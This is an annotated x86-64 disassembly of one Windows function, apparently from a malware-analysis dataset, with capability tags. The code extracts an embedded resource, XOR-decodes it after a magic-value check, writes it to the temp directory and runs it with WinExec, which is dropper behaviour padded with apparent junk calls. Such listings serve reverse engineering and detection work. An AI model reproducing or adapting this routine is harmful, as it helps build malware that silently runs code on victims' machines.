Function at 0x140003220
Capabilities:
Create process on windows
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x3c0
mov r14, rcx
mov edi, 0xfffffffe
mov ecx, 6
mov edx, 4
mov r8d, 0xf1
call fcn.140002ae0
mov rsi, rax
lea rcx, [rdi - 0x616583b3]
mov edx, 0x2cbec286
mov r8d, 0x6c
mov r9d, 7
call fcn.140002ae0
mov byte [rsp + 0x20], 0x86
lea rcx, [0x14000616e]
lea rdx, [rsp + 0x160]
mov r8, rsi
mov r9, rax
call fcn.140002af0
mov rdi, rax
mov ecx, 0x17
mov edx, 0x1e
mov r8d, 0x65
call fcn.140002ae0
mov r15, rax
mov ecx, 0x2af78f11
mov r8d, 0x3c52b5
mov rdx, rdi
mov r9, rdi
call fcn.140002ae0
mov r12, rax
movabs rcx, 0x84ae3f5115067d7b
call fcn.140002ae0
mov rbx, rax
mov qword [rsp + 0x20], 0xd5
mov ecx, 0xc9
mov r8d, 0xba
mov rdx, rdi
mov r9, rdi
call fcn.140002ae0
mov rsi, rax
mov ecx, 0x39
mov rdx, rdi
mov r8, rdi
mov r9, rdi
call fcn.140002ae0
mov byte [rsp + 0x30], al
mov byte [rsp + 0x28], sil
mov qword [rsp + 0x20], rbx
lea rcx, [0x140006030]
lea rdx, [rsp + 0x170]
mov r8, r15
mov r9, r12
call fcn.140002af0
mov ecx, 5
mov edx, 0x300ec1
mov r8, rdi
call fcn.140002ae0
mov rsi, rax
mov ecx, 0x2362b81d
mov edx, 0xea
call fcn.140002ae0
lea rcx, [0x140006052]
mov qword [rsp + 0x20], rcx
lea rbx, [rsp + 0x1a0]
mov rdx, rbx
mov r8, rsi
mov r9, rax
call fcn.140002af0
mov ecx, 0x100
mov rdx, rdi
mov r8, rdi
mov r9, rdi
call fcn.140002ae0
lea rsi, [rsp + 0x2c0]
mov ecx, eax
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, [0x14000714c]
mov rcx, rsi
mov rdx, rbx
mov r8, rsi
call qword [sym.imp.USER32.dll_wsprintfA]
mov edx, 0x72
mov r8d, 0xa
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 0
sete byte [rsp + 0x42]
cmp byte [rsp + 0x42], 0
jne 0x140003e2f
mov rdx, qword [rsp + 0xa0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
mov dword [rsp + 0x44], eax
mov rdx, qword [rsp + 0xa0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x100], rax
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
mov ebx, dword [rsp + 0x44]
mov rcx, rbx
call fcn.140002ae0
mov rsi, rax
mov ecx, 0x1000
mov edx, 0xb49dae
call fcn.140002ae0
mov rdi, rax
mov ecx, 4
call fcn.140002ae0
xor ecx, ecx
mov rdx, rsi
mov r8d, edi
mov r9d, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov rdx, r14
mov r8, rbx
call fcn.140002ab0
lea rcx, [0x14000714c]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
xor ecx, ecx
call fcn.140002ae0
mov rdi, rax
mov ebx, dword [rsp + 0x44]
mov qword [rsp + 0x20], 0x50
mov ecx, 5
mov edx, 0x1e379a
mov r8d, ebp
mov r9d, ebp
call fcn.140002ae0
cmp ebx, eax
seta byte [rsp + 0x43]
cmp esi, edi
jne 0x14000381e
mov rax, qword [rsp + 0x48]
movzx ecx, byte [rsp + 0x43]
mov qword [rsp + 0x58], rax
cmp cl, 1
jne 0x140003be9
mov rax, qword [rsp + 0x48]
mov esi, dword [rax]
mov ecx, 0x2e786f72
call fcn.140002ae0
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x58], rcx
cmp esi, eax
jne 0x140003be9
mov rax, qword [rsp + 0x48]
add rax, 4
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
movzx ebx, byte [rax]
mov byte [rsp + 0x41], bl
movzx eax, byte [rsp + 0x41]
mov ecx, dword [rsp + 0x44]
sub ecx, eax
mov dword [rsp + 0x70], ecx
movzx ebp, byte [rsp + 0x41]
mov r8d, 0xc1
xor ecx, ecx
mov edx, ebx
call fcn.140002ae0
mov rsi, rax
mov edi, dword [rsp + 0x70]
mov ecx, 4
mov edx, 0x98
mov r9d, 0x497321
mov r8d, ebx
call fcn.140002ae0
mov qword [rsp + 0x58], 0
cmp bpl, sil
je 0x140003be9
cmp edi, eax
jle 0x140003be9
mov edi, dword [rsp + 0x70]
mov ecx, 0xfffffffc
mov edx, edi
call fcn.140002ae0
mov rsi, rax
add esi, edi
movzx eax, byte [rsp + 0x41]
mov qword [rsp + 0x98], rax
mov rbx, qword [rsp + 0x98]
mov ecx, 4
mov edx, edi
mov r8d, edi
call fcn.140002ae0
add rax, rbx
add rax, qword [rsp + 0x48]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x110], rsi
mov rbx, qword [rsp + 0x110]
mov ecx, 1
mov edx, 0x1c
mov r8d, edi
mov r9d, edi
call fcn.140002ae0
and rax, rbx
mov qword [rsp + 0x140], rax
mov ecx, 1
mov edx, 0xfb76f7
mov r8d, edi
call fcn.140002ae0
mov rbx, rax
mov qword [rsp + 0x20], 0xadd220
xor ecx, ecx
mov edx, edi
mov r8d, edi
mov r9d, edi
call fcn.140002ae0
mov qword [rsp + 0xb8], rax
mov edx, 0x6980a3
xor ecx, ecx
call fcn.140002ae0
mov qword [rsp + 0xb0], rax
cmp esi, ebx
je 0x1400037b1
mov rsi, qword [rsp + 0x110]
mov ecx, 0xfffffffe
call fcn.140002ae0
and rax, rsi
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r14d, r14d
mov edx, 0x7c
mov r9d, 0x35acb0
xor ecx, ecx
mov r8, rsi
call fcn.140002ae0
mov qword [rsp + 0xd0], rax
xor ecx, ecx
call fcn.140002ae0
mov qword [rsp + 0xc8], rax
xor ecx, ecx
mov rdx, rsi
mov r8, rsi
call fcn.140002ae0
mov qword [rsp + 0xc0], rax
nop dword [rax]
mov rsi, qword [rsp + 0xc0]
mov rbp, qword [rsp + 0xc8]
mov rbx, qword [rsp + 0xd0]
cmp rbx, qword [rsp + 0x98]
cmovae rbx, r14
mov rax, qword [rsp + 0x68]
movzx ecx, byte [rax + rbp]
mov rdx, qword [rsp + 0x90]
xor cl, byte [rdx + rbx]
mov byte [rax + rbp], cl
mov ecx, 1
call fcn.140002ae0
mov rdi, rax
add rdi, rbx
mov qword [rsp + 0x20], rsi
mov ecx, 1
mov rdx, rsi
mov r8, rsi
mov r9, rsi
call fcn.140002ae0
or rax, rbp
cmp rdi, qword [rsp + 0x98]
cmovae rdi, r14
mov rcx, qword [rsp + 0x68]
movzx edx, byte [rcx + rax]
mov rbx, qword [rsp + 0x90]
xor dl, byte [rbx + rdi]
mov byte [rcx + rax], dl
mov ecx, 1
mov rdx, rsi
mov r8, rsi
call fcn.140002ae0
mov rbx, rax
add rbx, rdi
mov ecx, 2
mov rdx, rsi
mov r8, rsi
call fcn.140002ae0
mov rdi, rax
add rdi, rbp
mov ecx, 2
mov r8d, 0x74
mov rdx, rsi
call fcn.140002ae0
add rax, rsi
cmp rax, qword [rsp + 0x148]
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xb8], rbx
mov qword [rsp + 0xb0], rdi
jne 0x1400036b0
mov r8, qword [rsp + 0xb0]
mov qword [rsp + 0x158], r8
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x128], rax
mov rsi, qword [rsp + 0x140]
mov edx, 0x73
xor ecx, ecx
call fcn.140002ae0
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x58], rcx
cmp rsi, rax
je 0x140003be9
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x128]
cmp rcx, rax
jae 0x140003bbd
mov rax, qword [rsp + 0x128]
jmp 0x140003bbf
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x48]
movzx edx, byte [rsp + 0x43]
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x78], rcx
cmp dl, 1
jne 0x140003c47
mov rax, qword [rsp + 0x48]
mov esi, dword [rax]
mov ecx, 0x2e786f72
mov edx, 0x42
mov r8d, 0xd6
call fcn.140002ae0
mov ecx, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x48]
mov dword [rsp + 0x50], ecx
mov qword [rsp + 0x78], rdx
cmp esi, eax
jne 0x140003c47
mov rax, qword [rsp + 0x48]
add rax, 4
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
movzx ebx, byte [rax]
mov byte [rsp + 0x40], bl
movzx eax, byte [rsp + 0x40]
mov edi, dword [rsp + 0x44]
sub edi, eax
mov ecx, 0xfffffffc
mov r8d, 0x9ab421
mov r9d, 0x51967b
mov edx, ebx
call fcn.140002ae0
add eax, edi
mov dword [rsp + 0x54], eax
movzx ebp, byte [rsp + 0x40]
mov edx, 0x2b
xor ecx, ecx
mov r8d, ebx
mov r9d, ebx
call fcn.140002ae0
mov rsi, rax
mov ecx, 4
call fcn.140002ae0
cmp bpl, sil
je 0x140003d99
cmp edi, eax
jle 0x140003d99
movzx r8d, byte [rsp + 0x40]
mov qword [rsp + 0x88], r8
mov rsi, qword [rsp + 0x88]
mov ecx, 4
mov edx, 0x9c58da
call fcn.140002ae0
add rax, rsi
add rax, qword [rsp + 0x48]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x54]
mov qword [rsp + 0x108], rax
mov rsi, qword [rsp + 0x108]
mov ecx, 1
mov edx, 0xa
call fcn.140002ae0
and rax, rsi
mov qword [rsp + 0x130], rax
mov edi, dword [rsp + 0x54]
mov ecx, 1
mov edx, 0x947473
call fcn.140002ae0
mov rsi, rax
mov edx, 0x36
mov r8d, 0x21
mov r9d, 0x4e
xor ecx, ecx
call fcn.140002ae0
mov qword [rsp + 0xe0], rax
xor ecx, ecx
call fcn.140002ae0
mov qword [rsp + 0xd8], rax
cmp edi, esi
je 0x140003b4b
mov rsi, qword [rsp + 0x108]
mov qword [rsp + 0x20], rsi
mov ecx, 0xfffffffe
mov edx, 0x7c
mov r8d, 0x2f
mov r9, rsi
call fcn.140002ae0
and rax, rsi
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x20], 0x37
xor r14d, r14d
xor ecx, ecx
mov rdx, rsi
mov r8, rsi
mov r9, rsi
call fcn.140002ae0
mov qword [rsp + 0xf8], rax
mov edx, 0x93
xor ecx, ecx
mov r8, rsi
call fcn.140002ae0
mov qword [rsp + 0xf0], rax
mov edx, 0xba
xor ecx, ecx
mov r8, rsi
call fcn.140002ae0
mov qword [rsp + 0xe8], rax
nop word cs:[rax + rax]
mov rsi, qword [rsp + 0xe8]
mov rbp, qword [rsp + 0xf0]
mov rbx, qword [rsp + 0xf8]
cmp rbx, qword [rsp + 0x88]
cmovae rbx, r14
mov rax, qword [rsp + 0x60]
movzx ecx, byte [rax + rbp]
mov rdx, qword [rsp + 0x80]
xor cl, byte [rdx + rbx]
mov byte [rax + rbp], cl
mov qword [rsp + 0x20], 0xf3
mov ecx, 1
mov rdx, rsi
mov r8, rsi
mov r9, rsi
call fcn.140002ae0
mov rdi, rax
add rdi, rbx
mov ecx, 1
mov r8d, 0x655255
mov rdx, rsi
call fcn.140002ae0
or rax, rbp
cmp rdi, qword [rsp + 0x88]
cmovae rdi, r14
mov rcx, qword [rsp + 0x60]
movzx edx, byte [rcx + rax]
mov rbx, qword [rsp + 0x80]
xor dl, byte [rbx + rdi]
mov byte [rcx + rax], dl
mov ecx, 1
mov rdx, rsi
call fcn.140002ae0
mov rbx, rax
add rbx, rdi
mov ecx, 2
mov rdx, rsi
mov r8, rsi
call fcn.140002ae0
mov rdi, rax
add rdi, rbp
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov ecx, 2
mov r8d, 0x9d0701
mov r9d, 0xd0
mov rdx, rsi
call fcn.140002ae0
add rax, rsi
cmp rax, qword [rsp + 0x138]
mov qword [rsp + 0xf8], rbx
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xd8], rdi
jne 0x140003a30
mov rdx, qword [rsp + 0xd8]
mov qword [rsp + 0x150], rdx
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x118], rax
mov rsi, qword [rsp + 0x130]
mov r8d, 0x6d
xor ecx, ecx
mov r9, rdx
call fcn.140002ae0
mov ecx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x60]
mov dword [rsp + 0x50], ecx
mov qword [rsp + 0x78], rdx
cmp rsi, rax
je 0x140003c47
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x118]
cmp rcx, rax
jae 0x140003c13
mov rax, qword [rsp + 0x118]
jmp 0x140003c15
xor eax, eax
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x158]
movzx ebx, byte [rcx + rdx]
mov rbp, qword [rsp + 0x90]
xor bl, byte [rbp + rax]
mov byte [rcx + rdx], bl
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x58], rax
mov rsi, qword [rsp + 0x58]
mov ecx, 0x30
call fcn.140002ae0
lea r8, [rsp + 0x160]
xor ecx, ecx
mov rdx, rsi
mov r9d, eax
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x140003deb
xor eax, eax
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x150]
movzx ebx, byte [rcx + rdx]
mov rbp, qword [rsp + 0x80]
xor bl, byte [rbp + rax]
mov byte [rcx + rdx], bl
mov eax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x78], rcx
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x120], rax
mov r8d, dword [rsp + 0x50]
mov dword [rsp + 0x74], r8d
mov rsi, qword [rsp + 0x120]
mov edi, dword [rsp + 0x74]
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], r8d
mov edx, 5
mov r9d, 0x750d7c
xor ecx, ecx
call fcn.140002ae0
cmp edi, eax
jle 0x140003d99
test rsi, rsi
je 0x140003d99
mov ecx, 0xc0000000
mov edx, 0x2c
mov r8d, 0x74
call fcn.140002ae0
mov rsi, rax
mov ecx, 3
mov edx, 0x88
call fcn.140002ae0
mov rdi, rax
mov ecx, 2
mov edx, 0x301ee5d3
call fcn.140002ae0
mov rbx, rax
mov ecx, 0x80
mov edx, 0x92
call fcn.140002ae0
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ebx
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x2c0]
mov edx, esi
mov r8d, edi
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
inc rax
cmp rax, 2
jb 0x140003d99
mov qword [rsp + 0x20], 0x6c
mov edx, 0x52
mov r8d, 0xbd
mov r9d, 0xdc
xor ecx, ecx
call fcn.140002ae0
mov dword [rsp + 0x1c0], eax
mov rsi, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0x120]
mov ecx, dword [rsp + 0x74]
mov edx, ecx
mov r8d, ecx
mov r9d, ecx
call fcn.140002ae0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x1c0]
mov rcx, rsi
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov esi, eax
lea r8, [0x14000714c]
lea rdi, [rsp + 0x1c0]
lea rdx, [rsp + 0x170]
lea r9, [rsp + 0x2c0]
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfA]
xor ecx, ecx
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.140002ae0
mov rcx, rdi
mov edx, eax
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rsi, qword [rsp + 0x48]
mov edx, 0x56
mov r8d, 0x44
mov r9d, 0x490501
xor ecx, ecx
call fcn.140002ae0
mov rdi, rax
mov ecx, 0x10000
mov edx, 0x74
mov r8d, 0xcbeec3
call fcn.140002ae0
mov rcx, rsi
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_VirtualFree]
movzx ebx, byte [rsp + 0x42]
mov byte [rsp + 0x28], bl
mov qword [rsp + 0x20], 0x3c
mov ecx, 1
mov r8d, 0xe0
mov r9d, 0x72
mov edx, ebx
call fcn.140002ae0
xor al, bl
movzx eax, al
and eax, 1
add rsp, 0x3c0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret